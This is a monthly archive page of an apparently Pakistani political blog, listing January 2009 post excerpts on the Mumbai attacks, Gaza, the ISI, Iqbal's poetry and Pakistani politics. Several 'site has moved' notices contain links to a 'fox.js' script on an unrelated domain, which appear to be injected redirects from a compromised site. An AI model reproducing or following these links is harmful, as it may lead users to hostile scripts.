Monthly Archive:: January 2009

India provides evidence of the Mumbai terrorist attacks to Pakistan….: A page from the dossier given to PakistanDossier: handlers used virtual number to contact a mobile with one of the terrorists Siddharth Varadarajan (The Hindu, Wednesday, Jan 07, 2009) New Delhi: Amidst the clutter of telephone calls the Indian
Robert Fisk: Why do they hate the West so much, we will ask: A child injured in the Israeli bombardment of a UN school yesterday is taken to Shifa hospital in Gaza City So once again, Israel has opened the gates of hell to the Palestinians. Forty civilian refugees dead in a
Robert Fisk: Why do they hate the West so much, we will ask: A child injured in the Israeli bombardment of a UN school yesterday is taken to Shifa hospital in Gaza City So once again, Israel has opened the gates of hell to the Palestinians. Forty
IRI award for Sherry Rehman: ISLAMABAD: International Republican Institute (IRI), renowned for conducting various political surveys in Pakistan, has awarded Federal Minister for Information Sherry Rehman the title of ‘democracy’s hero’ for her struggle for democracy in the country. According to IRI, Sherry worked
Terror, not India, the enemy, says ISI chief: LAHORE: Terrorism, and not India, is Pakistan’s greatest enemy, and Islamabad is distancing itself from conflict with New Delhi, Inter-Services Intelligence Director General Lt Gen Ahmad Shujaa Pasha has said, a private TV channel reported. According to the channel,
Robert Fisk: Bring in the peacekeepers? It’s not as easy as it sounds: Tuesday, 6 January 2009 (The Independent) UN peacekeepers in Lebanon, where they have had mixed success Do I hear the braying of the UN donkey in Gaza? On his Middle East tour, the French President, Nicolas Sarkozy, may well
Allama Iqbal and Ahlul-Bayt…Iqbal’s poems on Hazrat Ali, Hazrat Fatima Zahra and Imam Hussain: This post has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/688, click this link if you are not redirected
Allama Iqbal and Ahlul-Bayt: Here is a collection of Allama Muhammad Iqbal’s poems on the Ahl-e-Bayt of the Prophet Muhammad (peace by upon him and his progeny) including Iqbal’s poems on Hazrat Ali, Hazrat Fatima Zahra and Imam Hussain: Iqbal on Hazrat Imam
Karbala and the Imam Hussain in Persian and Indo-Muslim literature, including the poetry of Allama Iqbal – By Annemarie Schimmel: For a detailed account of Iqbal’s poetry on Ahlul-Bayt (A.S.), read the following article: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&letusbuildpakistan.blogspot.com/2009/01/allama-iqbal-on-ahlul-bayt-including.html …. Annemarie Schimmel, Allama Muhammad Iqbal and the significance of Karbala In this era of the qehtur-rijal, we needed to have voices such as
Karbala and the Imam Hussain in Persian and Indo-Muslim literature – by Annemarie Schimmel: Annemarie Schimmel, Allama Muhammad Iqbal and the significance of Karbala In this era of the qehtur-rijal, we needed to have voices such as Iqbal and Schimmel. Instead, we have “scholars” such as Dr Israr Ahmed and Dr Zakir Naik
Haroon-ur-Rashid’s column on Imam Hussain (and those who praise Yazid including Dr Israr Ahmed and Dr Zaik Naik): This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/686, click this link if you are not redirected
Haroon-ur-Rashid’s column on Imam Hussain (and those who praise Yazid including Dr Israr Ahmed and Dr Zaik Naik):
According to the polls, Barak’s predicted election result rose within 48 hours by five Knesset seats. About 80 dead Palestinians for each seat.: Molten lead — Uri AvneryIsrael is missing the historic chance of making peace with secular Arab nationalism. Tomorrow, it may be faced with a uniformly fundamentalist Arab world, Hamas multiplied by a thousand. Just after midnight, January 2, Al-Jazeera’s
Baloch protest against ‘Talibanisation’: The Balochistan National Party (BNP) Information Secretary and former senator Mr Sanaullah Baloch told Daily Times on Sunday that “supporters” of the Taliban had “captured land worth Rs2 billion in the eastern and western parts of Quetta” to “undermine
Ansar Abbasi reveals assets of Nawaz Sharif; the story of Nawaz Sharif’s plea bargain…: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/683, click this link if you are not redirected
Ansar Abbasi reveals assets of Nawaz Sharif; the story of Nawaz Sharif’s plea bargain…: Sharif family lose 80% of assets, says Qureshi By Ansar Abbasi ISLAMABAD, Dec 10: The exile of the Sharif family to Saudi Arabia following the pardon announcement by the government, has deprived the Raiwind dwellers of their 15 assets,
Taliban rule the roost in Swat through FM radio – By Rahimullah Yusufzai: Taliban rule the roost in Swat through FM radio Monday, January 05, 2009 (The News) By Rahimullah Yusufzai PESHAWAR: Most people in Swat are becoming regular listeners of the FM radio channel run by the Maulana Fazlullah-led Swati
Edward Said and the Palestine Cause… Palestine “the ultimate test case in the human history”: Remembering Edward Said and his services for the Palestinian cause Edward Wadie Saïd MRSL (1 November 1935 – 25 September 2003) was a Palestinian American literary theorist, cultural critic, political activist, and an outspoken advocate for Palestinian rights. He
Edward Said and the Palestine Cause… Palestine "the ultimate test case in the human history": Remembering Edward Said and his services for the Palestinian cause Edward Wadie Saïd MRSL (1 November 1935 – 25 September 2003) was a Palestinian American literary theorist, cultural critic, political activist, and an outspoken advocate for Palestinian rights. He
Ambassador Hussain Haqqani is all over the airwaves in America defending Pakistan’s case. Times of India admits…: EDITORIAL COMMENT | The War of Words30 Dec 2008, After a week of belligerence, during which sharp words were traded, Indian and Pakistani officials are cooling it, for now. India’s patience isrunning thin and it is not hard to
Ambassador Husain Haqqani is all over the airwaves in America defending Pakistan’s case – Times of India: EDITORIAL COMMENT | The War of Words 30 Dec 2008, After a week of belligerence, during which sharp words were traded, Indian and Pakistani officials are cooling it, for now. India’s patience is running thin and it is not
Websites “harmful for the integrity of the country” banned in Pakistan…: PTA orders blockade of political webpages, discussion forums Friday, January 02, 2009By Urooj Zia Karachi The Pakistan Telecommunication Authority (PTA) issued directives in the last week of December to Internet Service Providers (ISPs), ordering them to block a list
Websites “harmful for the integrity of the country” banned in Pakistan: PTA orders blockade of political webpages, discussion forums Friday, January 02, 2009By Urooj Zia Karachi The Pakistan Telecommunication Authority (PTA) issued directives in the last week of December to Internet Service Providers (ISPs), ordering them to block a list
Is Imran Khan the new choice of agencies (ISI) in Pakistan?: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
Is Imran Khan ISI’s new choice in Pakistan?: Is Imran Khan the new choice of agencies (ISI) in Pakistan? Is he the man who will be planted to replace the present democratic set up in Pakistan? The following is a collection of some resources and comments on this
Gaza: the logic of colonial power – By Nir Rosen: As so often, the term ‘terrorism’ has proved a rhetorical smokescreen under cover of which the strong crush the weakBy Nir Rosenguardian.co.uk, Monday 29 December 2008 I have spent most of the Bush administration’s tenure reporting from Iraq, Afghanistan,
Robert Fisk: Gaza…. The rotten state of Egypt is too powerless and corrupt to act: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
Robert Fisk: Gaza…. The rotten state of Egypt is too powerless and corrupt to act: The rotten state of Egypt is too powerless and corrupt to actThursday, 1 January 2009 (The Independent) President Hosni Mubarak of Egypt a country where ‘the idea of service has simply ceased to exist’ There was a day when
In the aftermath of Kashmir polls: Can India and Pakistan agree to confine itself to three subjects: defence, foreign affairs and communications?: In the aftermath of Kashmir polls By Kuldip Nayar STATE elections in Jammu and Kashmir may not have provided many answers but it has made one thing clear: the All-Parties Hurriyat Conference has been exaggerating its strength.It was wrong
Ansar Abbasi’s corruption exposed: Ashraf Ansari’s letter in ARY’s Sawal Yeh Hay; also a summry of Abbasi’s lies…: Ansar Abbasis is corrupt: PM’s ex-secy Bashir LAHORE: While commenting on a case related to the award of extra marks to the chief justice’s daughter, the prime minister’s former press secretary Zahid Bashir has claimed that a senior journalist
The role of General Zia-ul-Haq in the events of Black September (1970), involving killing of 25000 Palestinians in Jordan: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
Black September: The role of Pakistan’s General Zia-ul-Haq in the 1970 massacre of 25,000 Palestinians in Jordan: During Black September (1970), the head of Pakistani training commission took command of the 2nd Division and helped kill and cleanse the Palestinians (est. 25,000 dead) from Jordan. It was none other that General Zia ul Haq, who later
Hushiaar Baash: A poem on democracy, the Bangladesh model and the jihadi-army alliance in Pakistan: Hushiaar Baash Ay meray khud-kush jihadi baa-hunar hushiaar baashAy paristaar-e-Gul-o-Mullah-Umar hushiaar baash Daikhnay ko aaj kal jamhooriat ka raaj hayMilitary-Mullah alliance se magar hushiaar baash Ghair jamhoori safain phir ho rahi hain mujtamaFoji iste’maar se baar-e-digar hushiaar baash Hir
The Bangladesh model and the lessons for Pakistan:   Military Mullah Alliance’s new hope: The Bangladesh model in Pakistan? (Abbas Ather, Express, 1 January 2009, Common Lesson from the Bangladesh Model) … Comments: The Bangladesh model and the lessons for Pakistan By Marcvs_Tacitvs_Cicero. 1. That the Army
Debate on religion and state in Pakistan: Religion and State? Daily Times, January 21, 2006 SECOND OPINION: Who is listening to the ‘new debate’?— Khaled Ahmed’s TV Review This is the Muslim predicament. The new millennium has not seen the Muslims moving closer to the modern